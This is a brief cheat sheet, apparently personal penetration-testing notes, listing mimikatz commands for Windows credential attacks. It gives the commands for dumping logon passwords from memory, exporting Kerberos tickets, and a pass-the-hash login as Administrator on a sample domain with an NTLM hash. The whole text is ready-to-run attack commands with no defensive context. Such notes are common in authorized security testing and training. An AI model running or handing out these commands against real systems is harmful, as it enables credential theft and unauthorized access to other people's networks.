mimikatz

PASSWD

mimikatz # privilege::debug

mimikatz # sekurlsa::logonpasswords

Kerberos

mimikatz # sekurlsa::tickets /export

PassTheHash

mimikatz # sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:cc36cf7a8514893efccd332446158b1a